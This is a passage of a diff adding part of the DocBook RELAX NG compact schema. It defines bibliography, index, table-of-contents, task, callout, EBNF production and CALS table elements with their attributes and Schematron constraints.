(db.biblioentry | db.bibliomixed)+) + } +} +div { + db.bibliodiv.status.attrib = db.status.attribute + db.bibliodiv.role.attribute = attribute role { text } + db.bibliodiv.attlist = + db.bibliodiv.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.bibliodiv.status.attrib? + db.bibliodiv.info = db._info.title.req + db.bibliodiv = + + ## A section of a Bibliography + element bibliodiv { + db.bibliodiv.attlist, + db.bibliodiv.info, + db.all.blocks*, + (db.biblioentry | db.bibliomixed)+ + } +} +div { + db.bibliolist.role.attribute = attribute role { text } + db.bibliolist.attlist = + db.bibliolist.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.bibliolist.info = db._info.title.only + db.bibliolist = + + ## A wrapper for a list of bibliography entries + element bibliolist { + db.bibliolist.attlist, + db.bibliolist.info?, + db.all.blocks*, + (db.biblioentry | db.bibliomixed)+ + } +} +div { + db.biblioref.role.attribute = attribute role { text } + db.biblioref.xrefstyle.attribute = db.xrefstyle.attribute + db.biblioref.endterm.attribute = db.endterm.attribute + db.biblioref.units.attribute = + + ## The units (for example, pages) used to identify the beginning and ending of a reference. + attribute units { xsd:token } + db.biblioref.begin.attribute = + + ## Identifies the beginning of a reference; the location within the work that is being referenced. + attribute begin { xsd:token } + db.biblioref.end.attribute = + + ## Identifies the end of a reference. + attribute end { xsd:token } + db.biblioref.attlist = + db.biblioref.role.attribute? + & db.common.attributes + & db.common.req.linking.attributes + & db.biblioref.xrefstyle.attribute? + & db.biblioref.endterm.attribute? + & db.biblioref.units.attribute? + & db.biblioref.begin.attribute? + & db.biblioref.end.attribute? + db.biblioref = + + ## A cross-reference to a bibliographic entry + element biblioref { db.biblioref.attlist, empty } +} +db.significance.enumeration = + + ## Normal + "normal" + | + ## Preferred + "preferred" +db.significance.attribute = + + ## Specifies the significance of the term + attribute significance { db.significance.enumeration } +db.zone.attribute = + + ## Specifies the IDs of the elements to which this term applies + attribute zone { xsd:IDREFS } +db.indexterm.pagenum.attribute = + + ## Indicates the page on which this index term occurs in some version of the printed document + attribute pagenum { text } +db.scope.enumeration = + + ## All indexes + "all" + | + ## The global index (as for a combined index of a set of box) + "global" + | + ## The local index (the index for this document only) + "local" +db.scope.attribute = + + ## Specifies the scope of the index term + attribute scope { db.scope.enumeration } +db.sortas.attribute = + + ## Specifies the string by which the term is to be sorted; if unspecified, the term content is used + attribute sortas { text } +db.index.type.attribute = + + ## Specifies the target index for this term + attribute type { text } +div { + db.itermset.role.attribute = attribute role { text } + db.itermset.attlist = + db.itermset.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.itermset = + + ## A set of index terms in the meta-information of a document + element itermset { db.itermset.attlist, db.indexterm.singular+ } +} +db.indexterm.contentmodel = + db.primary?, + ((db.secondary, + ((db.tertiary, (db.see | db.seealso+)?) + | db.see + | db.seealso+)?) + | db.see + | db.seealso+)? +div { + db.indexterm.singular.role.attribute = attribute role { text } + db.indexterm.singular.class.attribute = + + ## Identifies the class of index term + attribute class { + + ## A singular index term + "singular" + } + db.indexterm.singular.attlist = + db.indexterm.singular.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.significance.attribute? + & db.zone.attribute? + & db.indexterm.pagenum.attribute? + & db.scope.attribute? + & db.index.type.attribute? + & db.indexterm.singular.class.attribute? + db.indexterm.singular = + + ## A wrapper for an indexed term + element indexterm { + db.indexterm.singular.attlist, db.indexterm.contentmodel + } +} +div { + db.indexterm.startofrange.role.attribute = attribute role { text } + db.indexterm.startofrange.class.attribute = + + ## Identifies the class of index term + attribute class { + + ## The start of a range + "startofrange" + } + db.indexterm.startofrange.attlist = + db.indexterm.startofrange.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.significance.attribute? + & db.zone.attribute? + & db.indexterm.pagenum.attribute? + & db.scope.attribute? + & db.index.type.attribute? + & db.indexterm.startofrange.class.attribute + db.indexterm.startofrange = + + ## A wrapper for an indexed term that covers a range + element indexterm { + db.indexterm.startofrange.attlist, db.indexterm.contentmodel + } +} +div { + db.indexterm.endofrange.role.attribute = attribute role { text } + db.indexterm.endofrange.class.attribute = + + ## Identifies the class of index term + attribute class { + + ## The end of a range + "endofrange" + } + db.indexterm.endofrange.startref.attribute = + + ## Points to the start of the range + attribute startref { xsd:IDREF } + db.indexterm.endofrange.attlist = + db.indexterm.endofrange.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.indexterm.endofrange.class.attribute + & db.indexterm.endofrange.startref.attribute + db.indexterm.endofrange = + + ## Identifies the end of a range associated with an indexed term + element indexterm { db.indexterm.endofrange.attlist, empty } +} +div { + db.indexterm = + db.indexterm.singular + | db.indexterm.startofrange + | db.indexterm.endofrange +} +div { + db.primary.role.attribute = attribute role { text } + db.primary.attlist = + db.primary.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.sortas.attribute? + db.primary = + + ## The primary word or phrase under which an index term should be sorted + element primary { db.primary.attlist, db.all.inlines* } +} +div { + db.secondary.role.attribute = attribute role { text } + db.secondary.attlist = + db.secondary.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.sortas.attribute? + db.secondary = + + ## A secondary word or phrase in an index term + element secondary { db.secondary.attlist, db.all.inlines* } +} +div { + db.tertiary.role.attribute = attribute role { text } + db.tertiary.attlist = + db.tertiary.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.sortas.attribute? + db.tertiary = + + ## A tertiary word or phrase in an index term + element tertiary { db.tertiary.attlist, db.all.inlines* } +} +div { + db.see.role.attribute = attribute role { text } + db.see.attlist = + db.see.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.see = + + ## Part of an index term directing the reader instead to another entry in the index + element see { db.see.attlist, db.all.inlines* } +} +div { + db.seealso.role.attribute = attribute role { text } + db.seealso.attlist = + db.seealso.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.seealso = + + ## Part of an index term directing the reader also to another entry in the index + element seealso { db.seealso.attlist, db.all.inlines* } +} +div { + db.index.status.attribute = db.status.attribute + db.index.role.attribute = attribute role { text } + db.index.attlist = + db.index.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.index.status.attribute? + & db.index.type.attribute? + db.index.info = db._info + # + # Yes, db.indexdiv* and db.indexentry*; that way an is valid. + # Authors can use an empty index to indicate where a generated index should + # appear. + db.index = + + ## An index to a book or part of a book + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:index" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element index { + db.index.attlist, + db.index.info, + db.all.blocks*, + (db.indexdiv* | db.indexentry* | db.segmentedlist) + } +} +div { + db.setindex.status.attribute = db.status.attribute + db.setindex.role.attribute = attribute role { text } + db.setindex.attlist = + db.setindex.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.setindex.status.attribute? + & db.index.type.attribute? + db.setindex.info = db._info + db.setindex = + + ## An index to a set of books + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:setindex" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element setindex { + db.setindex.attlist, + db.setindex.info, + db.all.blocks*, + (db.indexdiv* | db.indexentry*) + } +} +div { + db.indexdiv.status.attribute = db.status.attribute + db.indexdiv.role.attribute = attribute role { text } + db.indexdiv.attlist = + db.indexdiv.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.indexdiv.status.attribute? + db.indexdiv.info = db._info.title.req + db.indexdiv = + + ## A division in an index + element indexdiv { + db.indexdiv.attlist, + db.indexdiv.info, + db.all.blocks*, + (db.indexentry+ | db.segmentedlist) + } +} +div { + db.indexentry.role.attribute = attribute role { text } + db.indexentry.attlist = + db.indexentry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.indexentry = + + ## An entry in an index + element indexentry { + db.indexentry.attlist, + db.primaryie, + (db.seeie | db.seealsoie)*, + (db.secondaryie, (db.seeie | db.seealsoie | db.tertiaryie)*)* + } +} +div { + db.primaryie.role.attribute = attribute role { text } + db.primaryie.attlist = + db.primaryie.role.attribute? + & db.common.attributes + & db.linkends.attribute? + db.primaryie = + + ## A primary term in an index entry, not in the text + element primaryie { db.primaryie.attlist, db.all.inlines* } +} +div { + db.secondaryie.role.attribute = attribute role { text } + db.secondaryie.attlist = + db.secondaryie.role.attribute? + & db.common.attributes + & db.linkends.attribute? + db.secondaryie = + + ## A secondary term in an index entry, rather than in the text + element secondaryie { db.secondaryie.attlist, db.all.inlines* } +} +div { + db.tertiaryie.role.attribute = attribute role { text } + db.tertiaryie.attlist = + db.tertiaryie.role.attribute? + & db.common.attributes + & db.linkends.attribute? + db.tertiaryie = + + ## A tertiary term in an index entry, rather than in the text + element tertiaryie { db.tertiaryie.attlist, db.all.inlines* } +} +div { + db.seeie.role.attribute = attribute role { text } + db.seeie.attlist = + db.seeie.role.attribute? + & db.common.attributes + & db.linkend.attribute? + db.seeie = + + ## A See + ## entry in an index, rather than in the text + element seeie { db.seeie.attlist, db.all.inlines* } +} +div { + db.seealsoie.role.attribute = attribute role { text } + db.seealsoie.attlist = + db.seealsoie.role.attribute? + & db.common.attributes + & db.linkends.attribute? + db.seealsoie = + + ## A See also + ## entry in an index, rather than in the text + element seealsoie { db.seealsoie.attlist, db.all.inlines* } +} +db.toc.pagenum.attribute = + + ## Indicates the page on which this element occurs in some version of the printed document + attribute pagenum { text } +div { + db.toc.role.attribute = attribute role { text } + db.toc.attlist = + db.toc.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.toc.info = db._info.title.only + db.toc = + + ## A table of contents + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:toc" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element toc { + db.toc.attlist, + db.toc.info, + db.all.blocks*, + (db.tocdiv | db.tocentry)* + } +} +div { + db.tocdiv.role.attribute = attribute role { text } + db.tocdiv.pagenum.attribute = db.toc.pagenum.attribute + db.tocdiv.attlist = + db.tocdiv.role.attribute? + & db.common.attributes + & db.tocdiv.pagenum.attribute? + & db.linkend.attribute? + db.tocdiv.info = db._info + db.tocdiv = + + ## A division in a table of contents + element tocdiv { + db.tocdiv.attlist, + db.tocdiv.info, + db.all.blocks*, + (db.tocdiv | db.tocentry)+ + } +} +div { + db.tocentry.role.attribute = attribute role { text } + db.tocentry.pagenum.attribute = db.toc.pagenum.attribute + db.tocentry.attlist = + db.tocentry.role.attribute? + & db.common.attributes + & db.tocentry.pagenum.attribute? + & db.linkend.attribute? + db.tocentry = + + ## A component title in a table of contents + element tocentry { db.tocentry.attlist, db.all.inlines* } +} +db.task.info = db._info.title.only +div { + db.task.role.attribute = attribute role { text } + db.task.attlist = + db.task.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.task = + + ## A task to be completed + element task { + db.task.attlist, + db.task.info, + db.tasksummary?, + db.taskprerequisites?, + db.procedure, + db.example*, + db.taskrelated? + } +} +div { + db.tasksummary.role.attribute = attribute role { text } + db.tasksummary.attlist = + db.tasksummary.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.tasksummary.info = db._info.title.only + db.tasksummary = + + ## A summary of a task + element tasksummary { + db.tasksummary.attlist, db.tasksummary.info, db.all.blocks+ + } +} +div { + db.taskprerequisites.role.attribute = attribute role { text } + db.taskprerequisites.attlist = + db.taskprerequisites.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.taskprerequisites.info = db._info.title.only + db.taskprerequisites = + + ## The prerequisites for a task + element taskprerequisites { + db.taskprerequisites.attlist, + db.taskprerequisites.info, + db.all.blocks+ + } +} +div { + db.taskrelated.role.attribute = attribute role { text } + db.taskrelated.attlist = + db.taskrelated.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.taskrelated.info = db._info.title.only + db.taskrelated = + + ## Information related to a task + element taskrelated { + db.taskrelated.attlist, db.taskrelated.info, db.all.blocks+ + } +} +db.area.units.enumeration = + + ## Coordinates expressed as a pair of CALS graphic coordinates. + "calspair" + | + ## Coordinates expressed as a line and column. + "linecolumn" + | + ## Coordinates expressed as a pair of lines and columns. + "linecolumnpair" + | + ## Coordinates expressed as a line range. + "linerange" +db.area.units-enum.attribute = + + ## Identifies the units used in the coords attribute The default units vary according to the type of callout specified: calspair + ## for graphics and linecolumn + ## for line-oriented elements. + attribute units { db.area.units.enumeration }? +db.area.units-other.attributes = + + ## Indicates that non-standard units are used for this area + ## . In this case otherunits + ## must be specified. + attribute units { + + ## Coordinates expressed in some non-standard units. + "other" + }?, + + ## Identifies the units used in the coords + ## attribute when the units + ## attribute is other + ## . This attribute is forbidden otherwise. + attribute otherunits { xsd:NMTOKEN } +db.area.units.attribute = + db.area.units-enum.attribute | db.area.units-other.attributes +div { + db.calloutlist.role.attribute = attribute role { text } + db.calloutlist.attlist = + db.calloutlist.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.calloutlist.info = db._info.title.only + db.calloutlist = + + ## A list of callout + ## s + element calloutlist { + db.calloutlist.attlist, + db.calloutlist.info, + db.all.blocks*, + db.callout+ + } +} +div { + db.callout.role.attribute = attribute role { text } + db.callout.arearefs.attribute = + + ## Identifies the areas described by this callout. + attribute arearefs { xsd:IDREFS } + db.callout.attlist = + db.callout.role.attribute? + & db.common.attributes + & db.callout.arearefs.attribute + db.callout = + + ## A called out + ## description of a marked Area + element callout { db.callout.attlist, db.all.blocks+ } +} +div { + db.programlistingco.role.attribute = attribute role { text } + db.programlistingco.attlist = + db.programlistingco.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.programlistingco.info = db._info.title.forbidden + db.programlistingco = + + ## A program listing with associated areas used in callouts + element programlistingco { + db.programlistingco.attlist, + db.programlistingco.info, + db.areaspec, + db.programlisting, + db.calloutlist* + } +} +div { + db.areaspec.role.attribute = attribute role { text } + db.areaspec.attlist = + db.areaspec.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.area.units.attribute + db.areaspec = + + ## A collection of regions in a graphic or code example + element areaspec { db.areaspec.attlist, (db.area | db.areaset)+ } +} +div { + db.area.role.attribute = attribute role { text } + db.area.linkends.attribute = + + ## Point to the callout + ## s which refer to this area. (This provides bidirectional linking which may be useful in online presentation.) + attribute linkends { xsd:IDREFS } + db.area.label.attribute = + + ## Specifies an identifying number or string that may be used in presentation. The area label might be drawn on top of the figure, for example, at the position indicated by the coords attribute. + attribute label { text } + db.area.coords.attribute = + + ## Provides the coordinates of the area. The coordinates must be interpreted using the units + ## specified. + attribute coords { text } + db.area.attlist = + db.area.role.attribute? + & db.common.idreq.attributes + & db.area.units.attribute + & (db.area.linkends.attribute | db.href.attribute)? + & db.area.label.attribute? + & db.area.coords.attribute + db.area = + + ## A region defined for a Callout in a graphic or code example + element area { db.area.attlist, db.alt? } +} +div { + # The only difference is that xml:id is optional + db.area.inareaset.attlist = + db.area.role.attribute? + & db.common.attributes + & db.area.units.attribute + & (db.area.linkends.attribute | db.href.attribute)? + & db.area.label.attribute? + & db.area.coords.attribute + db.area.inareaset = + + ## A region defined for a Callout in a graphic or code example + element area { db.area.inareaset.attlist, db.alt? } +} +div { + db.areaset.role.attribute = attribute role { text } + db.areaset.linkends.attribute = db.linkends.attribute + db.areaset.label.attribute = db.label.attribute + db.areaset.attlist = + db.areaset.role.attribute? + & db.common.idreq.attributes + & db.area.units.attribute + & (db.areaset.linkends.attribute | db.href.attribute)? + & db.areaset.label.attribute? + db.areaset = + + ## A set of related areas in a graphic or code example + element areaset { db.areaset.attlist, db.area.inareaset+ } +} +div { + db.screenco.role.attribute = attribute role { text } + db.screenco.attlist = + db.screenco.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.screenco.info = db._info.title.forbidden + db.screenco = + + ## A screen with associated areas used in callouts + element screenco { + db.screenco.attlist, + db.screenco.info, + db.areaspec, + db.screen, + db.calloutlist* + } +} +div { + db.imageobjectco.role.attribute = attribute role { text } + db.imageobjectco.attlist = + db.imageobjectco.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.imageobjectco.info = db._info.title.forbidden + db.imageobjectco = + + ## A wrapper for an image object with callouts + element imageobjectco { + db.imageobjectco.attlist, + db.imageobjectco.info, + db.areaspec, + db.imageobject+, + db.calloutlist* + } +} +div { + db.co.role.attribute = attribute role { text } + db.co.linkends.attribute = db.linkends.attribute + db.co.label.attribute = db.label.attribute + db.co.attlist = + db.co.role.attribute? + & db.common.idreq.attributes + & db.co.linkends.attribute? + & db.co.label.attribute? + db.co = + + ## The location of a callout embedded in text + element co { db.co.attlist, empty } +} +div { + db.coref.role.attribute = attribute role { text } + db.coref.label.attribute = db.label.attribute + db.coref.attlist = + db.coref.role.attribute? + & db.common.attributes + & db.linkend.attribute + & db.coref.label.attribute? + db.coref = + + ## A cross reference to a co + element coref { db.coref.attlist, empty } +} +div { + db.productionset.role.attribute = attribute role { text } + db.productionset.attlist = + db.productionset.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.productionset.info = db._info.title.only + db.productionset = + + ## A set of EBNF productions + element productionset { + db.productionset.attlist, + db.productionset.info, + (db.production | db.productionrecap)+ + } +} +div { + db.production.role.attribute = attribute role { text } + db.production.attlist = + db.production.role.attribute? + & db.common.idreq.attributes + & db.common.linking.attributes + db.production = + + ## A production in a set of EBNF productions + element production { + db.production.attlist, db.lhs, db.rhs, db.constraint* + } +} +div { + db.lhs.role.attribute = attribute role { text } + db.lhs.attlist = + db.lhs.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.lhs = + + ## The left-hand side of an EBNF production + element lhs { db.lhs.attlist, text } +} +div { + db.rhs.role.attribute = attribute role { text } + db.rhs.attlist = + db.rhs.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.rhs = + + ## The right-hand side of an EBNF production + element rhs { + db.rhs.attlist, + (text | db.nonterminal | db.lineannotation | db.sbr)* + } +} +div { + db.nonterminal.role.attribute = attribute role { text } + db.nonterminal.def.attribute = + + ## Specifies a URI that points to a production + ## where the nonterminal + ## is defined + attribute def { text } + db.nonterminal.attlist = + db.nonterminal.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.nonterminal.def.attribute + db.nonterminal = + + ## A non-terminal in an EBNF production + element nonterminal { db.nonterminal.attlist, text } +} +div { + db.constraint.role.attribute = attribute role { text } + db.constraint.attlist = + db.constraint.role.attribute? + & db.common.attributes + & db.common.req.linking.attributes + db.constraint = + + ## A constraint in an EBNF production + element constraint { db.constraint.attlist, empty } +} +div { + db.productionrecap.role.attribute = attribute role { text } + db.productionrecap.attlist = + db.productionrecap.role.attribute? + & db.common.attributes + & db.common.req.linking.attributes + db.productionrecap = + + ## A cross-reference to an EBNF production + element productionrecap { db.productionrecap.attlist, empty } +} +div { + db.constraintdef.role.attribute = attribute role { text } + db.constraintdef.attlist = + db.constraintdef.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.constraintdef.info = db._info.title.only + db.constraintdef = + + ## The definition of a constraint in an EBNF production + element constraintdef { + db.constraintdef.attlist, db.constraintdef.info, db.all.blocks+ + } +} +db.char.attribute = + + ## Specifies the alignment character when align + ## is set to char + ## . + attribute char { text } +db.charoff.attribute = + + ## Specifies the percentage of the column's total width that should appear to the left of the first occurance of the character identified in char + ## when align + ## is set to char + ## . + attribute charoff { text } +db.frame.attribute = + + ## Specifies how the table is to be framed. Note that there is no way to obtain a border on only the starting edge (left, in left-to-right writing systems) of the table. + attribute frame { + + ## Frame all four sides of the table. In some environments with limited control over table border formatting, such as HTML, this may imply additional borders. + "all" + | + ## Frame only the bottom of the table. + "bottom" + | + ## Place no border on the table. In some environments with limited control over table border formatting, such as HTML, this may disable other borders as well. + "none" + | + ## Frame the left and right sides of the table. + "sides" + | + ## Frame the top of the table. + "top" + | + ## Frame the top and bottom of the table. + "topbot" + } +db.colsep.attribute = + + ## Specifies the presence or absence of the column separator + attribute colsep { text } +db.rowsep.attribute = + + ## Specifies the presence or absence of the row separator + attribute rowsep { text } +db.orient.attribute = + + ## Specifies the orientation of the table + attribute orient { + + ## 90 degrees counter-clockwise from the rest of the text flow. + "land" + | + ## The same orientation as the rest of the text flow. + "port" + } +db.tabstyle.attribute = + + ## Specifies the table style + attribute tabstyle { text } +db.rowheader.attribute = + + ## Indicates whether or not the entries in the first column should be considered row headers + attribute rowheader { + + ## Indicates that entries in the first column of the table are functionally row headers (analogous to the way that a thead provides column headers). + "firstcol" + | + ## Indicates that entries in the first column have no special significance with respect to column headers. + "norowheader" + } +db.align.attribute = + + ## Specifies the horizontal alignment of text in an entry. + attribute align { + + ## Centered. + "center" + | + ## Aligned on a particular character. + "char" + | + ## Left and right justified. + "justify" + | + ## Left justified. + "left" + | + ## Right justified. + "right" + } +db.valign.attribute = + + ## Specifies the vertical alignment of text in an entry. + attribute valign { + + ## Aligned on the bottom of the entry. + "bottom" + | + ## Aligned in the middle. + "middle" + | + ## Aligned at the top of the entry. + "top" + } +db.specify-col-by-colname.attributes = + + ## Specifies a column specification by name. + attribute colname { text } +db.specify-col-by-namest.attributes = + + ## Specifies a starting column by name. + attribute namest { text } +db.specify-span-by-spanspec.attributes = + + ## Specifies a span by name. + attribute spanname { text } +db.specify-span-directly.attributes = + + ## Specifies a starting column by name. + attribute namest { text } + & + ## Specifies an ending column by name. + attribute nameend { text } +db.column-spec.attributes = + db.specify-col-by-colname.attributes + | db.specify-col-by-namest.attributes + | db.specify-span-by-spanspec.attributes + | db.specify-span-directly.attributes +db.colname.attribute = + + ## Provides a name for a column specification. + attribute colname { text } +db.spanname.attribute = + + ## Provides a name for a span specification. + attribute spanname { text } +div { + db.tgroup.role.attribute = attribute role { text } + db.tgroup.tgroupstyle.attribute = + + ## Additional style information for downstream processing; typically the name of a style. + attribute tgroupstyle { text } + db.tgroup.cols.attribute = + + ## The number of columns in the table. Must be an integer greater than zero. + attribute cols { xsd:integer } + db.tgroup.attlist = + db.tgroup.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.char.attribute? + & db.charoff.attribute? + & db.tgroup.tgroupstyle.attribute? + & db.tgroup.cols.attribute + & db.colsep.attribute? + & db.rowsep.attribute? + & db.align.attribute? + db.tgroup = + + ## A wrapper for the main content of a table, or part of a table + element tgroup { + db.tgroup.attlist, + db.colspec*, + db.spanspec*, + db.cals.thead?, + db.cals.tfoot?, + db.cals.tbody + } +} +div { + db.colspec.role.attribute = attribute role { text } + db.colspec.colnum.attribute = + + ## The number of the column to which this specification applies. Must be greater than any preceding column number. Defaults to one more than the number of the preceding column, if there is one, or one. + attribute colnum { xsd:integer } + db.colspec.colwidth.attribute = + + ## Specifies the width of the column. + attribute colwidth { text } + db.colspec.attlist = + db.colspec.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.colspec.colnum.attribute? + & db.char.attribute? + & db.colsep.attribute? + & db.colspec.colwidth.attribute? + & db.charoff.attribute? + & db.colname.attribute? + & db.rowsep.attribute? + & db.align.attribute? + db.colspec = + + ## Specifications for a column in a table + element colspec { db.colspec.attlist, empty } +} +div { + db.spanspec.role.attribute = attribute role { text } + db.spanspec.namest.attribute = + + ## Specifies a starting column by name. + attribute namest { text } + db.spanspec.nameend.attribute = + + ## Specifies an ending column by name. + attribute nameend { text } + db.spanspec.attlist = + db.spanspec.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.spanname.attribute + & db.spanspec.namest.attribute + & db.spanspec.nameend.attribute + & db.char.attribute? + & db.colsep.attribute? + & db.charoff.attribute? + & db.rowsep.attribute? + & db.align.attribute? + db.spanspec = + + ## Formatting information for a spanned column in a table + element spanspec { db.spanspec.attlist, empty } +} +div { + db.cals.thead.role.attribute = attribute role { text } + db.cals.thead.attlist = + db.cals.thead.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.valign.attribute? + db.cals.thead = + + ## A table header consisting of one or more rows + element thead { db.cals.thead.attlist, db.colspec*, db.row+ } +} +div { + db.cals.tfoot.role.attribute = attribute role { text } + db.cals.tfoot.attlist = + db.cals.tfoot.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.valign.attribute? + db.cals.tfoot = + + ## A table footer consisting of one or more rows + element tfoot { db.cals.tfoot.attlist, db.colspec*, db.row+ } +} +div { + db.cals.tbody.role.attribute = attribute role { text } + db.cals.tbody.attlist = + db.cals.tbody.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.valign.attribute? + db.cals.tbody = + + ## A wrapper for the rows of a table or informal table + element tbody { db.cals.tbody.attlist, db.row+ } +} +div { + db.row.role.attribute = attribute role { text } + db.row.attlist = + db.row.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.rowsep.attribute? + & db.valign.attribute? + db.row = + + ## A row in a table + element row { db.row.attlist, (db.entry | db.entrytbl)+ } +} +div { + db.entry.role.attribute = attribute role { text } + db.entry.morerows.attribute = + + ## Specifies the number of additional rows which this entry occupies. Defaults to zero. + attribute morerows { xsd:integer } + db.entry.rotate.attribute = + + ## Specifies the rotation of this entry. FIXME: what are the legal values of this attribute? + attribute rotate { text } + db.entry.attlist = + db.entry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.valign.attribute? + & db.char.attribute? + & db.colsep.attribute? + & db.charoff.attribute? + & db.entry.morerows.attribute? + & db.column-spec.attributes? + & db.rowsep.attribute? + & db.entry.rotate.attribute? + & db.align.attribute? + db.entry = + + ## A cell in a table + element entry { + db.entry.attlist, (db.all.inlines* | db.all.blocks*) + } +} +div { + db.entrytbl.role.attribute = attribute role { text } + db.entrytbl.tgroupstyle.attribute = + + ## Additional style information for downstream processing; typically the name of a style. + attribute tgroupstyle { text } + db.entrytbl.cols.attribute = + + ## The number of columns in the entry table. Must be an integer greater than zero. + attribute cols { xsd:integer } + db.entrytbl.attlist = + db.entrytbl.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.char.attribute? + & db.charoff.attribute? + & db.column-spec.attributes? + & db.entrytbl.tgroupstyle.attribute? + & db.entrytbl.cols.attribute? + & db.colsep.attribute? + & db.rowsep.attribute? + & db.align.attribute? + db.entrytbl = + + ## A subtable appearing in place of an Entry in a table + element entrytbl { + db.entrytbl.attlist, + db.colspec*, + db.spanspec*, + db.cals.entrytbl.thead?, + db.cals.entrytbl.tbody + } +} +div { + db.cals.entrytbl.thead.role.attribute = attribute role { text } + db.cals.entrytbl.thead.attlist = + db.cals.entrytbl.thead.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.valign.attribute? + db.cals.entrytbl.thead = + + ## A table header consisting of one or more rows + element thead { + db.cals.entrytbl.thead.attlist, db.colspec*, db.entrytbl.row+ + } +} +div { + db.cals.entrytbl.tbody.role.attribute = attribute role { text } + db.cals.entrytbl.tbody.attlist = + db.cals.entrytbl.tbody.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.valign.attribute? + db.cals.entrytbl.tbody = + + ## A wrapper for the rows of a table or informal table + element tbody { db.cals.entrytbl.tbody.attlist, db.entrytbl.row+ } +} +div { + db.entrytbl.row.role.attribute = attribute role { text } + db.entrytbl.row.attlist = + db.entrytbl.row.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.rowsep.attribute? + & db.valign.attribute? + db.entrytbl.row = + + ## A row in a table + element row { db.entrytbl.row.attlist, db.entry+ } +} +div { + db.cals.table.role.attribute = attribute role { text } + db.cals.table.attlist = + db.cals.table.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.tabstyle.attribute? + & db.floatstyle.attribute? + & db.orient.attribute? + & db.colsep.attribute? + & db.rowsep.attribute? + & db.frame.attribute? + & db.pgwide.attribute? + & + ## Indicates if the short or long title should be used in a List of Tables + attribute shortentry { + + ## Indicates that the full title should be used. + "0" + | + ## Indicates that the short short title (titleabbrev) should be used. + "1" + }? + & + ## Indicates if the table should appear in a List of Tables + attribute tocentry { + + ## Indicates that the table should not occur in the List of Tables. + "0" + | + ## Indicates that the table should appear in the List of Tables. + "1" + }? + & db.rowheader.attribute? + db.cals.table.info = db._info.title.onlyreq + db.cals.table = + + ## A formal table in a document + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:example)" + "example must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:figure)" + "figure must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = 